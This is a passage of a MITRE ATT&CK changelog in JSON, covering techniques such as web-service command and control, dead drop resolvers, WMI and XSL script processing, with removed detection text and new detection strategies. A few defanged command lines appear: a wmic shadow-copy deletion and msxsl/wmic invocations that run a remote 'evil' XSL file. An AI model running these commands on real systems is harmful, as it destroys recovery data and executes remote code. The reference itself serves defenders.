Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0494: Detection Strategy for Weaken Encryption: Disable Crypto Hardware on Network Devices" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 19:03:48.310000+00:00", + "modified": "2025-10-24 17:48:40.223000+00:00", + "name": "Reduce Key Space", + "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1600/001", + "external_id": "T1600.001" + }, + { + "source_name": "Cisco Synful Knock Evolution", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.223000+00:00\", \"old_value\": \"2025-04-25 14:46:24.048000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0243: Detection Strategy for Weaken Encryption: Reduce Key Space on Network Devices" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:13.915000+00:00", + "modified": "2025-10-24 17:49:02.831000+00:00", + "name": "Web Service", + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1102", + "external_id": "T1102" + }, + { + "source_name": "Broadcom BirdyClient Microsoft Graph API 2024", + "description": "Broadcom. (2024, May 2). BirdyClient malware leverages Microsoft Graph API for C&C communication. Retrieved July 1, 2024.", + "url": "https://www.broadcom.com/support/security-center/protection-bulletin/birdyclient-malware-leverages-microsoft-graph-api-for-c-c-communication" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Anastasios Pingios", + "Sarathkumar Rajendran, Microsoft Defender365" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.831000+00:00\", \"old_value\": \"2025-04-15 19:58:47.211000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0425: Suspicious Use of Web Services for C2" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-14 22:34:03.024000+00:00", + "modified": "2025-10-24 17:49:18.602000+00:00", + "name": "Bidirectional Communication", + "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1102/002", + "external_id": "T1102.002" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.602000+00:00\", \"old_value\": \"2025-04-25 14:47:51.598000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0035: Detect Bidirectional Web Service C2 Channels via Process & Network Correlation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-14 22:24:21.841000+00:00", + "modified": "2025-10-24 17:49:37.828000+00:00", + "name": "Dead Drop Resolver", + "description": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1102/001", + "external_id": "T1102.001" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.828000+00:00\", \"old_value\": \"2025-04-25 14:48:36.031000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0058: Detection Strategy for Web Service: Dead Drop Resolver" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-14 22:45:52.963000+00:00", + "modified": "2025-10-24 17:49:08.849000+00:00", + "name": "One-Way Communication", + "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1102/003", + "external_id": "T1102.003" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.849000+00:00\", \"old_value\": \"2025-04-25 14:47:30.432000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0581: Detect One-Way Web Service Command Channels" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:44.329000+00:00", + "modified": "2025-10-24 17:48:19.670000+00:00", + "name": "Windows Management Instrumentation", + "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.\n\nThe WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being \u201cdisabled by default\u201d on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1047", + "external_id": "T1047" + }, + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + }, + { + "source_name": "Mandiant WMI", + "description": "Mandiant. (n.d.). Retrieved February 13, 2024.", + "url": "https://www.mandiant.com/resources/reports" + }, + { + "source_name": "WMI 6", + "description": "Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/" + }, + { + "source_name": "WMI 1-3", + "description": "Microsoft. (2023, March 7). Retrieved February 13, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN" + }, + { + "source_name": "WMI 7,8", + "description": "Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024.", + "url": "https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "@ionstorm", + "Olaf Hartong, Falcon Force", + "Tristan Madani" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Process: Process Creation\", \"WMI: WMI Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:19.670000+00:00\", \"old_value\": \"2025-04-15 19:58:01.648000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \\\"wmic\\\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0005: WMI (WMI Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0364: Behavioral Detection Strategy for WMI Execution Abuse on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2025-10-24 17:49:33.993000+00:00", + "name": "XSL Script Processing", + "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1220", + "external_id": "T1220" + }, + { + "source_name": "Reaqta MSXSL Spearphishing MAR 2018", + "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.", + "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/" + }, + { + "source_name": "Twitter SquiblyTwo Detection APR 2018", + "description": "Desimone, J. (2018, April 18). Status Update. Retrieved September 12, 2024.", + "url": "https://x.com/dez_/status/986614411711442944" + }, + { + "source_name": "LOLBAS Wmic", + "description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/" + }, + { + "source_name": "Microsoft msxsl.exe", + "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.", + "url": "https://www.microsoft.com/download/details.aspx?id=21714" + }, + { + "source_name": "Penetration Testing Lab MSXSL July 2017", + "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018.", + "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/" + }, + { + "source_name": "XSL Bypass Mar 2019", + "description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019.", + "url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75" + }, + { + "source_name": "Microsoft XSLT Script Mar 2017", + "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018.", + "url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Avneet Singh", + "Casey Smith", + "Praetorian" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.993000+00:00\", \"old_value\": \"2025-04-15 19:59:19.125000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\\n\\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\\n-\\n-The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0205: Detect XSL Script Abuse via msxsl and wmic" + ], + "dropped": [] + } + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "software": { + "additions": [ + { + "type": "malware", + "id": "malware--2ceddaf9-b16a-4f8b-b252-bcccccd3d79f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-07-21 19:02:10.637000+00:00", + "modified": "2025-10-21 16:51:50.819000+00:00", + "name": "BOOKWORM", + "description": "[BOOKWORM](https://attack.mitre.org/software/S1226) is a modular trojan known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2015. [BOOKWORM](https://attack.mitre.org/software/S1226) was later updated in late 2021 and the fall of 2022 to launch shellcode represented as UUID parameters. (Citation: Broadcom)(Citation: Unit42 Bookworm Nov2015)(Citation: Palo Alto Networks, Unit 42)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": 